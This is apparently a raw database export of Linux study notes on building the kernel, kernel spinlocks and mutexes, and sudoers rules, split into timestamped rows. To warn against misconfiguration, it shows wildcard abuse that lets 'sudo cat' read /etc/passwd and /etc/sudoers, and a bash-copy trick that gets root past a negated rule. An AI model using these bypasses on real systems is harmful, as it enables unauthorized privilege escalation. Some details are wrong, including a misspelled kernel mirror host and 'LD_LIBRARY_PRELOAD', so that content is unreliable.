distribution and LTS kernels\n* Super LTS (STLS) kernels text txt 2024-07-28 10:09:15.516974 0 +5053 1445 curl -L https://kernel.org - https://kernel.org/finger_banner code txt 2024-07-28 10:09:15.815612 0 +5054 1446 https://git.kernel.org - https://git.kernel.org/pub/scm/linux/kernel/git/mricon/korg-helpers.git/tree/get-verified-tarball code txt 2024-07-28 10:09:16.128173 0 +5055 1447 * obtaining kernel source\n* configuring source\n* building\n* installing targets\n* setting up bootloaders text txt 2024-07-28 10:09:16.423556 0 +5056 1448 https://mirrors.edge.kerne.org - https://mirrors.edge.kerne.org/pub/linux/kernel/v5.x/linux_5.4.0.tar.xz code txt 2024-07-28 10:09:16.664741 0 +5057 1449 git clone https://git.kernel.org - https://git.kernel.org/pub/scm/linux/git/torvalds/linux.git code txt 2024-07-28 10:09:16.887267 0 +5058 1450 head Makefile code txt 2024-07-28 10:09:17.111306 0 +5059 1451 MAINTAINERS text txt 2024-07-28 10:09:17.280349 0 +5060 1452 scripts/get_maintainer.pl code txt 2024-07-28 10:09:17.450028 0 +5061 1453 Major subsystem directories text txt 2024-07-28 10:09:17.88387 0 +5062 1453 * kernel: core kernel subsystem\n* mm: memory management\n* fs: the kernel **Virtual Filesystem Switch (VFS)** and the individual filesystem drivers\n* block: the underlying block I/O code\n* net: implementation of the network protocol stack\n* ipc: the **Inter-Process Communication (IPC)** subsystem\n* sound: the **Advanced Linux Sound Architecture (ALSA)** sound subsystem\n* virt: the virtualization code, specially **Kernel Virtual Machine (KVM)** subsystem text txt 2024-07-28 10:09:17.901212 0 +5063 1453 Infrastructure / Misclenaous text txt 2024-07-28 10:09:17.917374 0 +5064 1453 * arch: the arch-specific code\n* crypto: kernel level implementation of ciphers\n* include: arch-independent kernel headers\n* init: arch-independent kernel initialization code\n* lib: the closest equivalent to a library for the kernel\n* scripts: various useful scripts\n* security: the **Linux Security Module (LSM)**, containing **Mandatory Access Control (MAX)** and **Discretionary Access Control (DAC)** frameworks.\n* tools: various tools text txt 2024-07-28 10:09:17.932488 0 +5065 1454 make help\nmake htmldocs\nmake pdfdocs code txt 2024-07-28 10:09:18.215137 0 +5066 1454 Output will be generated in `Documentation/output/latex` and `Documentation/output/html`. text txt 2024-07-28 10:09:18.230029 0 +5067 1455 * ctags\n* cscope text txt 2024-07-28 10:09:18.448382 0 +5068 1456 make ctags\nmake cscope code txt 2024-07-28 10:09:18.660946 0 +5069 1457 init/kconfig code txt 2024-07-28 10:09:18.83967 0 +5070 1458 * defconfig: reseting all options to their defaults\n* oldconfig: asking for new configurations\n* localmodconfig: restoring options from module list\n* platform\\\\_defconfig: creating config based on platform text txt 2024-07-28 10:09:19.034808 0 +5071 1459 ls arch//configs/\nmake _defconfig code txt 2024-07-28 10:09:19.193176 0 +5072 1460 lsmod > /tmp/modules.lst\nmake LSMOD=/tmp/modules.lst localmodconfig code txt 2024-07-28 10:09:19.38087 0 +5073 1461 cp /boot/config-5.0.0 .config\nmake oldconfig code txt 2024-07-28 10:09:19.615322 0 +5074 1462 [menu,x,q]config code txt 2024-07-28 10:09:19.80223 0 +5075 1463 * `[.]` boolean option\n* `<.>` three state option, having `<*>` state as ON, `` state as Module, `<>` state as OFF\n* `{.}` required by a dependency as a module or compiled\n* `-*-` required by a dependency as compiled\n* `(...)` alphanumeric input\n* ` --->` sub-menu text txt 2024-07-28 10:09:20.049302 0 +5076 1468 We can enumerate two synchronization mechanisms, as follows: text txt 2024-07-28 10:09:21.20994 0 +5077 1468 1. **Locks**: Used for mutual exclusion. When one contender holds the lock, no other can hold it (others are excluded). The most known locks in the kernel are **spinlocks** and **mutexes**. text txt 2024-07-28 10:09:21.224075 0 +5078 1468 A resource is said to be shared when it is accessible by several contenders, whether exclusively or not.\nWhen it is exclusive, access must be synchronized so that only the allowed contender(s) may own the resource. text txt 2024-07-28 10:09:21.236851 0 +5079 1468 The operating system performs mutual exclusion by atomically modifying a variable that holds the current state of the resource, making this visible to all contenders that might access the variable at the same time. text txt 2024-07-28 10:09:21.250703 0 +5080 1468 2. **Conditional variables**: For waiting for a change. These are implemented differently in the kernel as **wait queues** and **completion queues**. text txt 2024-07-28 10:09:21.265405 0 +5081 1468 Apart from dealing with the exclusive ownership of a given shared resource, there are situations where it is better to wait for the state of the resource to change. text txt 2024-07-28 10:09:21.280779 0 +5082 1468 The Linux kernel does not implement conditional variables, but to achieve the same or even better, the kernel provides the following mechanisms: text txt 2024-07-28 10:09:21.295206 0 +5113 1479 As for other kernel core data structures, there is a static initialization: text txt 2024-07-28 10:09:25.16605 0 +5083 1468 * **Wait queue**: To wait for a change — designed to work in concert with locks.\n* **Completion queue**: To wait for the completion of a given computation, mostly used with DMAs. text txt 2024-07-28 10:09:21.309817 0 +5084 1469 A *spinlock* is a hardware-based locking primitive that depends on hardware capabilities to provide atomic operations (such as `test_and_set`, which in a non-atomic implementation would result in read, modify, and write operations).\nIt is the simplest and the base locking primitive. text txt 2024-07-28 10:09:21.492285 0 +5085 1469 When *CPUB* is running, and task B wants to acquire the spinlock while *CPUA* has already called this spinlock's locking function, *CPUB* will simply spin around a `while` loop until the other CPU releases the lock. text txt 2024-07-28 10:09:21.507005 0 +5086 1469 This spinning will only happen on multi-core machines because, on a single-core machine, it cannot happen. text txt 2024-07-28 10:09:21.518881 0 +5087 1469 A *spinlock* is said to be a lock held by a CPU, in contrast to a *mutex* which is a lock held by a task. text txt 2024-07-28 10:09:21.532531 0 +5088 1470 A spinlock operates by disabling the scheduler on the local CPU. text txt 2024-07-28 10:09:21.686962 0 +5089 1470 This also means that a task currently running on that CPU cannot be preempted except by **interrupt requests (IRQs)** if they are not disabled on the local CPU.\nIn other words, spinlocks protect resources that only one CPU can take/access at a time. text txt 2024-07-28 10:09:21.699067 0 +5090 1470 This makes spinlocks suitable for **symmetrical multiprocessing (SMP)** safety and for executing atomic tasks. text txt 2024-07-28 10:09:21.714553 0 +5091 1471 A spinlock is created either statically using a `DEFINE_SPINLOCK` macro: text txt 2024-07-28 10:09:22.094339 0 +5092 1471 static DEFINE_SPINLOCK(my_spinlock); code txt 2024-07-28 10:09:22.107621 0 +5093 1471 This macro is defined in `include/linux/spinlock_types.h`. text txt 2024-07-28 10:09:22.120932 0 +5094 1471 For dynamic (runtime) allocation, it's better to embed the spinlock into a bigger structure, allocating memory for this structure and then calling `spin_lock_init()` on the spinlock element: text txt 2024-07-28 10:09:22.135602 0 +5095 1471 struct bigger_struct {\n spinlock_t lock;\n unsigned int foo;\n [...]\n};\nstatic struct bigger_struct *fake_init_function()\n{\n struct bigger_struct *bs;\n bs = kmalloc(sizeof(struct bigger_struct), GFP_KERNEL);\n if (!bs)\n return -ENOMEM;\n spin_lock_init(&bs->lock);\n return bs;\n} code txt 2024-07-28 10:09:22.149169 0 +5096 1472 We can lock/unlock the spinlock using `spin_lock()` and `spin_unlock()` inline functions, both defined in `include/linux/spinlock.h`: text txt 2024-07-28 10:09:22.325193 0 +5097 1472 static __always_inline void spin_unlock(spinlock_t *lock);\nstatic __always_inline void spin_lock(spinlock_t *lock); code txt 2024-07-28 10:09:22.339809 0 +5098 1473 Though a spinlock prevents preemption on the local CPU, it does not prevent this CPU from being hogged by an interrupt. text txt 2024-07-28 10:09:22.527265 0 +5099 1473 Imagine a situation where the CPU holds a *"spinlock"* on behalf of task A in order to protect a given resource, and an interrupt occurs.\nThe CPU will stop its current task and branch to this interrupt handler.\nNow, imagine if this IRQ handler needs to acquire this same spinlock.\nIt will infinitely spin in place, trying to acquire a lock already locked by a task that it has preempted which results in a deadlock. text txt 2024-07-28 10:09:22.543758 0 +5100 1474 To address this issue, the Linux kernel provides `_irq` variant functions for spinlocks, which, in addition to disabling/enabling preemption, also disable/enable interrupts on the local CPU.\nThese functions are `spin_lock_irq()` and `spin_unlock_irq()`, defined as follows: text txt 2024-07-28 10:09:22.789772 0 +5101 1474 static void spin_unlock_irq(spinlock_t *lock)\nstatic void spin_lock_irq(spinlock_t *lock) code txt 2024-07-28 10:09:22.807452 0 +5102 1475 `spin_lock()` and all its variants automatically call `preempt_disable()`, which disables preemption on the local CPU, while `spin_unlock()` and its variants call `preempt_enable()`, which tries to enable preemption, and which internally calls schedule() if enabled.\n`spin_unlock()` is then a preemption point and might re-enable preemption. text txt 2024-07-28 10:09:22.976262 0 +5103 1476 `spin_lock_irq()` function is unsafe when called from IRQs off-context as its counterpart `spin_unlock_irq()` will dumbly enable IRQs, with the risk of enabling those that were not enabled while `spin_lock_irq()` was invoked.\nIt makes sense to use `spin_lock_irq()` only when you know that interrupts are enabled. text txt 2024-07-28 10:09:23.401524 0 +5104 1476 To achieve this, the kernel provides `_irqsave` variant functions that behave exactly like the `_irq` ones, with saving and restoring interrupts status features in addition.\nThese are `spin_lock_irqsave()` and `spin_lock_irqrestore()`, defined as follows: text txt 2024-07-28 10:09:23.422398 0 +5105 1476 spin_lock_irqsave(spinlock_t *lock, unsigned long flags)\nspin_unlock_irqrestore(spinlock_t *lock, unsigned long flags) code txt 2024-07-28 10:09:23.442698 0 +5106 1476 `spin_lock()` and all its variants automatically call `preempt_disable()`, which disables preemption on the local CPU, while `spin_unlock()` and its variants call `preempt_enable()`, which tries to enable preemption, and which internally calls `schedule()` if enabled depending on the current value of the counter, whose current value should be 0.
\nIt tries because it depends on whether other spinlocks are locked, which would affect the value of the preemption counter.\n`spin_unlock()` is then a preemption point and might re-enable preemption. text txt 2024-07-28 10:09:23.464487 0 +5107 1477 Though disabling interrupts may prevent kernel preemption nothing prevents the protected section from invoking the `schedule()` function.\nThe kernel disables or enables the scheduler, and thus preemtion, by increasing or decreasing a kernel global and per-CPU variable called `preempt_count` with 0 as default value.\nThis variable is checked by the `schedule()` function and when it is greater than 0, the scheduler simply returns and does nothing.\nThis variable is incremented at each invocation of a `spin_lock*()` family function.\nOn the other side, releasing a spinlock decrements it from 1, and whenever it reaches 0, the scheduler is invoked, meaning that your critical section would not be that atomic. text txt 2024-07-28 10:09:23.804257 0 +5108 1477 Thus, disabling interrupts protects you from kernel preemption only in cases where the protected code does not trigger preemption itself.\nThat said, code that locked a spinlock may not sleep as there would be no way to wake it up as timer interrupts and/or schedulers are disabled on the local CPU. text txt 2024-07-28 10:09:23.826654 0 +5109 1478 It behaves exactly like a *spinlock*, with the only difference being that your code can sleep.\nA spinlock is a lock held by a CPU, a mutex, on the other hand, is a lock held by a task. text txt 2024-07-28 10:09:24.393637 0 +5110 1478 A mutex is a simple data structure that embeds a wait queue to put contenders to sleep and a spinlock to protect access to this wait queue. text txt 2024-07-28 10:09:24.415589 0 +5111 1478 struct mutex {\n atomic_long_t owner;\n spinlock_t wait_lock;\n#ifdef CONFIG_MUTEX_SPIN_ON_OWNER\n struct optimistic_spin_queue osq; /* Spinner MCS lock */\n#endif\n struct list_head wait_list;\n [...]\n}; code txt 2024-07-28 10:09:24.437685 0 +5112 1478 The mutex APIs can be found in the `include/linux/mutex.h` header file. text txt 2024-07-28 10:09:24.459082 0 +5114 1479 static DEFINE_MUTEX(my_mutex); code txt 2024-07-28 10:09:25.187552 0 +5115 1479 A second approach the kernel offers is dynamic initialization, possible thanks to a call to a `__mutex_init()` low-level function, which is actually wrapped by a much more user-friendly macro, `mutex_init()`. text txt 2024-07-28 10:09:25.209548 0 +5116 1479 struct fake_data {\n struct i2c_client *client;\n u16 reg_conf;\n struct mutex mutex;\n}; text txt 2024-07-28 10:09:25.231752 0 +5117 1479 static int fake_probe(struct i2c_client *client)\n{\n [...]\n mutex_init(&data->mutex);\n [...]\n} code txt 2024-07-28 10:09:25.253631 0 +5118 1480 Acquiring (aka locking) a mutex is as simple as calling one of the following three functions: text txt 2024-07-28 10:09:25.841099 0 +5119 1480 void mutex_lock(struct mutex *lock);\nint mutex_lock_interruptible(struct mutex *lock);\nint mutex_lock_killable(struct mutex *lock); code txt 2024-07-28 10:09:25.862178 0 +5120 1480 With `mutex_lock()`, your task will be put in an uninterruptible sleep state (`TASK_UNINTERRUPTIBLE`) while waiting for the mutex to be released if it is held by another task. text txt 2024-07-28 10:09:25.883232 0 +5121 1480 `mutex_lock_interruptible()` will put your task in an interruptible sleep state, in which the sleep can be interrupted by any signal. text txt 2024-07-28 10:09:25.905289 0 +5122 1480 `mutex_lock_killable()` will allow your sleeping task to be interrupted only by signals that actually kill the task. text txt 2024-07-28 10:09:25.925568 0 +5123 1480 Each of these functions returns 0 if the lock has been acquired successfully.\nMoreover, interruptible variants return `-EINTR` when the locking attempt was interrupted by a signal. text txt 2024-07-28 10:09:25.947379 0 +5124 1481 Whichever locking function is used, only the mutex owner should release the mutex using `mutex_unlock()`: text txt 2024-07-28 10:09:26.242968 0 +5125 1481 void mutex_unlock(struct mutex *lock); code txt 2024-07-28 10:09:26.266083 0 +5126 1482 static bool mutex_is_locked(struct mutex *lock); code txt 2024-07-28 10:09:26.545077 0 +5127 1482 This function simply checks if the mutex owner is `NULL` and returns `true` if so or `false` otherwise. text txt 2024-07-28 10:09:26.565117 0 +5128 1483 The most important ones are enumerated in the `include/linux/mutex.h` kernel mutex API header file, and some of these are outlined here: text txt 2024-07-28 10:09:26.960567 0 +5129 1483 * A mutex can be held by one and only one task at a time.\n* Once held, the mutex can only be unlocked by the owner which is the task that locked it.\n* Multiple, recursive, or nested locks/unlocks are not allowed.\n* A mutex object must be initialized via the API. It must not be initialized by copying nor by using `memset()`, just as held mutexes must not be reinitialized.\n* A task that holds a mutex may not exit, just as memory areas where held locks reside must not be freed.\n* Mutexes may not be used in hardware or software interrupt contexts such as tasklets and timers. text txt 2024-07-28 10:09:26.982468 0 +5130 1483 All this makes mutexes suitable for the following cases: text txt 2024-07-28 10:09:27.003481 0 +5131 1483 * Locking only in the user context.\n* If the protected resource is not accessed from an IRQ handler and the operations need not be atomic. text txt 2024-07-28 10:09:27.024023 0 +5132 1484 It may be cheaper to use spinlocks for very small critical sections since the spinlock only suspends the scheduler and starts spinning, compared to the cost of using a mutex, which needs to suspend the current task and insert it into the mutex's wait queue, requiring the scheduler to switch to another task and rescheduling the sleeping task once the mutex is released. text txt 2024-07-28 10:09:27.244425 0 +5133 1485 Such methods try to acquire the lock and immediately return a status value, showing whether the lock has been successfully locked or not. text txt 2024-07-28 10:09:28.058646 0 +5134 1485 Both spinlock and mutex APIs provide a trylock method.\nThese are, respectively, `spin_trylock()` and `mutex_trylock()` text txt 2024-07-28 10:09:28.078896 0 +5135 1485 Both methods return 0 on failure (the lock is already locked) or 1 on success (lock acquired).\nThus, it makes sense to use these functions along with an if statement: text txt 2024-07-28 10:09:28.099012 0 +5136 1485 int mutex_trylock(struct mutex *lock) code txt 2024-07-28 10:09:28.119043 0 +5137 1485 `spin_trylock()` will lock the spinlock if it is not already locked, just as the `spin_lock()` method does.\nHowever, it immediately returns 0 without spinning in cases where the spinlock is already locked: text txt 2024-07-28 10:09:28.139847 0 +5138 1485 static DEFINE_SPINLOCK(foo_lock); text txt 2024-07-28 10:09:28.160116 0 +5139 1485 static void foo(void)\n{\n if (!spin_trylock(&foo_lock)) {\n /* Failure! the spinlock is already locked */\n return;\n } text txt 2024-07-28 10:09:28.181517 0 +5140 1485 /*\n * reaching this part of the code means that the\n * spinlock has been successfully locked\n */\n spin_unlock(&foo_lock);\n} code txt 2024-07-28 10:09:28.204092 0 +5141 1486 * OpenSolaris-based systems have `pfexec` and role-based access control.\n* HP has `pbrun`.\n* `sudo` on other Unix systems. text txt 2024-07-28 10:09:28.617866 0 +5142 1487 v1.8.8 is the least version.\nOlder than that need to immediately be upgraded by source or prebuilt packages. text txt 2024-07-28 10:09:28.84232 0 +5143 1488 sudo command code txt 2024-07-28 10:09:29.095767 0 +5144 1489 sudo -u user command code txt 2024-07-28 10:09:29.343246 0 +5145 1490 When group ID is desired, put a escaped hash mark before the GID, unless you're on `tcsh` shell. text txt 2024-07-28 10:09:29.609321 0 +5146 1490 sudo -g group command\nsudo -g \\\\#gid command code txt 2024-07-28 10:09:29.630642 0 +5147 1491 sudo rules are in `/etc/sudoers` but should never be editted by hand.\n`visudo` should always be used to change sudo rules. text txt 2024-07-28 10:09:29.845378 0 +5148 1492 `username` might also be a system group, or an alias defined within sudoers.\n`host` is the hostname of the system that this rule applies to when sudoers file is shared across multiple systems.\n`command` lists the full path to each command this rule applies to.\n`ALL` matches every possible option for each of these parts. text txt 2024-07-28 10:09:30.159264 0 +5149 1492 username host = command code txt 2024-07-28 10:09:30.179259 0 +5150 1493 Most commonly ALL is ste as `host` because most system administrators configure sudo on per-host basis.\nSeparately managing every server and defining the server as `ALL` means "this server", but it's best practice to put the server name as `host`. text txt 2024-07-28 10:09:30.385843 0 +5151 1494 sofia,nora,lucy ubuntu = /user/bin/mount, /usr/bin/umount code txt 2024-07-28 10:09:30.651312 0 +5152 1494 Users `sofia`, `nora`, and `lucy` can run `mount` and `umount` commands on the server `ubuntu`. text txt 2024-07-28 10:09:30.6722 0 +5153 1495 Some applications must run by specific users to work correctly.\nA user other than `root` can be specified in parenthesis, if sudo policy permits it. text txt 2024-07-28 10:09:30.98619 0 +5154 1495 emma debian = (oracle) ALL code txt 2024-07-28 10:09:31.007528 0 +5155 1495 User `emma` can run any commands on the server `debian`, but only as the user `oracle`. text txt 2024-07-28 10:09:31.027916 0 +5156 1496 Yes, separate rules on each line, but separate users, hosts and commands by comman on one line as much as possible. text txt 2024-07-28 10:09:31.298921 0 +5157 1496 elena www = (oracle) ALL\nelena www = /usr/bin/mount, /usr/bin/umount code txt 2024-07-28 10:09:31.31998 0 +5158 1497 End a line with a backslash to continue rules on the next line. text txt 2024-07-28 10:09:31.607494 0 +5159 1497 emma,elena,sofia www,dns,mail = /usr/bin/mount, /usr/bin/umount, \\\\\n /usr/bin/fdisk code txt 2024-07-28 10:09:31.629187 0 +5160 1498 Last matching rule wins.\nIf two rules conflict, the last matching rule wins. text txt 2024-07-28 10:09:31.85044 0 +5161 1499 Negation operator `!` can be used to apply to everything except a specific user, host ro command.\nNegation operator `!` can also be used to turn off options. text txt 2024-07-28 10:09:32.057488 0 +5162 1500 Last sudoers line must be an empty line, otherwise visudo comlains it. text txt 2024-07-28 10:09:32.233369 0 +5163 1501 Default editor for `visudo` is `vi` which is in most of the systems are linked to `vim`. text txt 2024-07-28 10:09:32.530324 0 +5164 1501 export EDITOR=/usr/bin/vim\nvisudo code txt 2024-07-28 10:09:32.550844 0 +5165 1502 `visudo` asks user to edit file again by pressing `e` and go back into file before overwriting /etc/sudoers file happens. text txt 2024-07-28 10:09:32.719558 0 +5166 1503 `visudo` asks user to press `x` and remove recent changes and then retain old policies. text txt 2024-07-28 10:09:32.927899 0 +5167 1504 The last matching rule wins, so the last rule is strongly recommended to give your account the right to run visudo. text txt 2024-07-28 10:09:33.193277 0 +5168 1504 brian ALL = /usr/bin/visudo code txt 2024-07-28 10:09:33.214311 0 +5169 1505 Only root and users that can run ALL commands on the current host can use -U. text txt 2024-07-28 10:09:33.486804 0 +5170 1505 sudo -l code txt 2024-07-28 10:09:33.509415 0 +5171 1506 Lists and aliases simplify repetition of rule items using wildcards.\nWildcards can be used to match hosts, filesystem paths, and command-line arguments. text txt 2024-07-28 10:09:33.894097 0 +5172 1506 sofia dns? = ALL\nelena mail[1-4] = ALL\nclaire www[a-z]* = ALL\npete ALL = /usr/sbin/*, /usr/local/sbin/* code txt 2024-07-28 10:09:33.91509 0 +5173 1507 Asterisk matches everything and can give users the possibility of adding multiple arguments and breaking the responsibility chain of commands. text txt 2024-07-28 10:09:34.315148 0 +5174 1507 evil ALL = /usr/bin/cat /var/log/messages* code txt 2024-07-28 10:09:34.335113 0 +5175 1507 This can be extended like below, which is definitely not intended: text txt 2024-07-28 10:09:34.354488 0 +5176 1507 sudo cat /var/log/messages /etc/passwd /etc/sudoers code txt 2024-07-28 10:09:34.374825 0 +5177 1508 Use limited wildcards to match specific characters, like using `[0-9]` instead of `*`. text txt 2024-07-28 10:09:34.645264 0 +5178 1508 alisa ALL = /usr/bin/tail -f /var/log/messages, /usr/bin/tail -f /var/log/messages?? code txt 2024-07-28 10:09:34.666272 0 +5179 1509 rosa ALL = /usr/bin/ss -[tuSlnp] code txt 2024-07-28 10:09:34.891053 0 +5180 1510 Two double quotes with no space between them tell sudoers to only match the empty string. text txt 2024-07-28 10:09:35.179406 0 +5181 1510 sara ALL = /usr/bin/dmesg "" code txt 2024-07-28 10:09:35.199681 0 +5182 1511 You can use aliases to refer to the user running the command, the hosts sudo is run on, the user the command is run as, or the commands being run. text txt 2024-07-28 10:09:35.642404 0 +5183 1511 Alias names can only include capital letters, numbers, and underscores.\nThe name must begin with a capital letter. text txt 2024-07-28 10:09:35.663144 0 +5184 1511 You must define aliases before using them. text txt 2024-07-28 10:09:35.683822 0 +5185 1511 Cmnd_Alias NETWORK = /usr/bin/ip, /usr/bin/ss\nUser_Alias DEVOPS = tatiana, alisa, christina\nDEVOPS ALL = NETWORK code txt 2024-07-28 10:09:35.705639 0 +5186 1512 1. **Operating System Groups:** group names start with percent sign `%` in front of them.\n2. **User ID**: You can use user ID numbers in sudoers by putting a hash mark `#` before them.\n3. **Group ID:** If you don't want to use group names, use GID numbers prefaced by `%#`.\n4. **NetGroup:** Stop using NIS, but in case you had to use it, put a plus sign `+` in front of the user names.\n5. **Non-Unix Group:** If sudo has necessary plugins to use user management sources beyond Unix systems, preface users with `:`. Users can be enclosed with double quotes.\n6. **Non-Unix Group ID:** Similar to previous but preface groups with `%:#`.\n7. **User Alias:** List of system users can be aliased together and be named. text txt 2024-07-28 10:09:35.995746 0 +5187 1513 **Operating System Groups:** group names start with percent sign `%` in front of them. text txt 2024-07-28 10:09:36.373639 0 +5188 1513 %dba db1 = (oracle) /opt/oracle/bin/* code txt 2024-07-28 10:09:36.394687 0 +5189 1513 Everyone in the `dba` group can run all the commands in the directory `/opt/oracle/bin`, as `oracle`, on the server `db1`. text txt 2024-07-28 10:09:36.416451 0 +5190 1513 Some operating systems have a system group for users who can become `root`, like `admin` on Ubuntu, and who may use the root password, like `wheel` on BSD-based systems. text txt 2024-07-28 10:09:36.437525 0 +5191 1513 members of `wheel` can already use `su` to become `root`.\nBut this lets people acclimate to using sudo in their day to day work. text txt 2024-07-28 10:09:36.459748 0 +5192 1514 **User ID:** You can use user ID numbers in sudoers by putting a hash mark `#` before them. text txt 2024-07-28 10:09:36.723932 0 +5193 1514 #1000 ALL = /usr/bin/reboot code txt 2024-07-28 10:09:36.744971 0 +5194 1515 **Group ID:** If you don't want to use group names, use GID numbers prefaced by `%#`. text txt 2024-07-28 10:09:37.027153 0 +5195 1515 On a traditional BSD system, `wheel` is group 0. text txt 2024-07-28 10:09:37.047627 0 +5196 1515 %#0 ALL = ALL code txt 2024-07-28 10:09:37.06801 0 +5197 1516 A user alias is a list of system users. text txt 2024-07-28 10:09:37.542126 0 +5198 1516 All user alias definitions start with `User_Alias`. text txt 2024-07-28 10:09:37.563216 0 +5199 1516 User_Alias SYSADMINS = rosa\nUser_Alias MONITORING = alice, christiana code txt 2024-07-28 10:09:37.584181 0 +5200 1516 Any type of usernames can be speicified in user aliases. text txt 2024-07-28 10:09:37.604074 0 +5201 1516 User_Alias #1000, %#1000, %devops code txt 2024-07-28 10:09:37.625502 0 +5202 1517 Sudo determines the name of the local host by running hostname.\nIt does not rely on DNS, /etc/hosts, LDAP, or any other name directory. text txt 2024-07-28 10:09:37.997272 0 +5203 1517 This means that your hostnames in sudoers must match the hostname set on the local machine.\nChange the hostname and sudo breaks. text txt 2024-07-28 10:09:38.018882 0 +5204 1517 hostname code txt 2024-07-28 10:09:38.038452 0 +5205 1518 * Host names\n* IP addresses text txt 2024-07-28 10:09:38.389478 0 +5206 1518 peter www = ALL\nmike 192.0.2.1 = ALL\nhank 192.0.2.0/24 = ALL\njake 198.42.100.0/255.255.255.0 = ALL code txt 2024-07-28 10:09:38.411473 0 +5207 1519 Host_Alias DMZ = 192.0.2.0/24, 192.42.100.0/255.255.255.0, www\nlucy DMZ = all code txt 2024-07-28 10:09:38.674063 0 +5208 1520 All types of usernames can also be applied to run-as user list. text txt 2024-07-28 10:09:38.954885 0 +5209 1520 christina db[0-9] = (oracle,postgres,mysql) ALL\nrachel ALL = (%devops,%dbms) ALL code txt 2024-07-28 10:09:38.975096 0 +5210 1521 Runas_Alias DBMS = oracle, postgres, mysql\nrachel db[0-9] = (DBMS) ALL code txt 2024-07-28 10:09:39.220045 0 +5211 1522 kate ALL = /usr/bin/ip, /usr/bin/ss, /usr/bin/wpa_supplicant code txt 2024-07-28 10:09:39.482547 0 +5212 1523 Cmnd_Alias NETWORK = /usr/bin/ip, /usr/bin/ss, /usr/bin/wpa_supplicant\nkate ALL = NETWORK code txt 2024-07-28 10:09:39.721514 0 +5274 1554 *Linux*\nsudo sysctl kern.suid_dumpable 2\nsudo sysctl fs.suid_dumpable 2 code txt 2024-07-28 10:09:49.477689 0 +5213 1524 A tag appears before the command list, separated from the commands by a colon.\nTag names are all capitals, without any numbers or symbols.\nA tag affects all the commands in the list following the tag. text txt 2024-07-28 10:09:40.007956 0 +5214 1524 karen ALL = NOEXEC: ALL code txt 2024-07-28 10:09:40.02812 0 +5215 1525 **DO NOT USE NEGATION IN COMMAND LIST AND ALIASES!** text txt 2024-07-28 10:09:40.367618 0 +5216 1525 User_Alias ADMINS = %wheel, !kate\nADMINS ALL = ALL code txt 2024-07-28 10:09:40.38812 0 +5217 1525 The members of group wheel, with one exception, get full access to the system. text txt 2024-07-28 10:09:40.408885 0 +5218 1526 Excluding commands is a bad idea. There is no way to exclude all insecure commands. text txt 2024-07-28 10:09:40.801778 0 +5219 1526 Cmnd_Alias BECOME_ROOT = /usr/bin/sh, /usr/bin/bash, /usr/bin/su\n%wheel ALL = ALL, !BECOME_ROOT code txt 2024-07-28 10:09:40.822986 0 +5220 1526 cp /usr/bin/bash /tmp/bash\nsudo /tmp/bash\nid code txt 2024-07-28 10:09:40.843133 0 +5221 1527 * boolean\n* integer\n* list of integers\n* string text txt 2024-07-28 10:09:41.085339 0 +5222 1528 Boolean options affect sudo with their mere presence.\nDeactivate them by putting an exclamation point before them. text txt 2024-07-28 10:09:41.427483 0 +5223 1528 Some boolean options are on by default, even when they don't appear in sudoers. text txt 2024-07-28 10:09:41.449207 0 +5224 1528 Defaults option\nDefaults !option code txt 2024-07-28 10:09:41.470696 0 +5225 1529 Defaults insults\nDefaults !insults code txt 2024-07-28 10:09:41.716844 0 +5226 1530 Use an equal sign to separate the argument from the option name. text txt 2024-07-28 10:09:42.063661 0 +5227 1530 If an integer option sets a limit on sudo's behavior, these options let you disable a feature by setting the limit to zero. text txt 2024-07-28 10:09:42.084433 0 +5228 1530 Defaults option = number\nDefaults option = 0 code txt 2024-07-28 10:09:42.104537 0 +5229 1531 String options either hold file paths or simple text. text txt 2024-07-28 10:09:42.443127 0 +5230 1531 Text with special characters like spaces and exclamation mark should be quoted. text txt 2024-07-28 10:09:42.4638 0 +5231 1531 Paths do not need to be quoted. text txt 2024-07-28 10:09:42.484249 0 +5232 1531 Defaults option = "value with special characters!" code txt 2024-07-28 10:09:42.505528 0 +5233 1532 It's best practice to group options by function. text txt 2024-07-28 10:09:42.779541 0 +5234 1532 Defaults option1 = value1, option2 = value2 code txt 2024-07-28 10:09:42.799155 0 +5235 1533 All username types can be specified for options. text txt 2024-07-28 10:09:43.196916 0 +5236 1533 Defaults:christina option = value\nDefaults:sara,angela,lucy,kate option = value\nDefaults:group option = value;\nDefaults:#1000 option = value;\nDefaults:%devops options = value;\nDefaults:%#1000 options = value;\nDefaults:ADMINS option = value; code txt 2024-07-28 10:09:43.218645 0 +5237 1534 Use Defaults, an at symbol `@`, the list of hosts or host alias, then the option. text txt 2024-07-28 10:09:43.516729 0 +5238 1534 Defaults option = value\nDefaults@PRODUCTION option = value\nDefaults@192.168.1.0/24 option = value code txt 2024-07-28 10:09:43.53865 0 +5239 1535 Use Defaults, an exclamation symbol `!`, the list of commands or command alias, then the option. text txt 2024-07-28 10:09:43.856733 0 +5240 1535 Defaults option = value\nDefaults!/usr/bin/systemctl lecture = always code txt 2024-07-28 10:09:43.876636 0 +5241 1536 Use Defaults, a right angle bracket symbol `>` between `Defaults` and user list. text txt 2024-07-28 10:09:44.142035 0 +5242 1536 Defaults>operator lecture code txt 2024-07-28 10:09:44.161767 0 +5243 1537 Defaults passwd_tries = 5 code txt 2024-07-28 10:09:44.409912 0 +5244 1538 Defaults timestamp_timeout = 10 code txt 2024-07-28 10:09:44.65468 0 +5245 1539 Defaults timestamp_timeout = 0 code txt 2024-07-28 10:09:44.899343 0 +5246 1540 Defaults badpass_message = "Wrong password, try again!" code txt 2024-07-28 10:09:45.133289 0 +5247 1541 Defaults:USERS lecture\nDefaults:ADMINS !lecture code txt 2024-07-28 10:09:45.417582 0 +5248 1542 Defaults lecture_file = /etc/custom_lecture code txt 2024-07-28 10:09:45.626755 0 +5249 1543 Defaults:!/usr/bin/fdisk lecture = always, \\\\\n lecture_file = /etc/fdisk_lecture, \\\\\n timestamp_timeout = 0 code txt 2024-07-28 10:09:45.892284 0 +5250 1544 Restrict users either through restricting the commands, or by prohibiting commands from running other commands. text txt 2024-07-28 10:09:46.308658 0 +5251 1544 On modern Unix-like operating systems, `sudo` can stop programs from executing other programs.\n`sudo` uses the `LD_LIBRARY_PRELOAD` environment variable to disable program execution. text txt 2024-07-28 10:09:46.330423 0 +5252 1544 The `EXEC` and `NOEXEC` tags control whether a command may execute further commands.\n`EXEC`, the unwritten default, permits execution of commands by other commands.\n`NOEXEC` forbids execution. text txt 2024-07-28 10:09:46.351595 0 +5253 1544 alexis ALL = NOEXEC: /usr/bin/visudo code txt 2024-07-28 10:09:46.372186 0 +5254 1545 To configure editing permissions, use the sudoedit keyword and the full path to the target file. text txt 2024-07-28 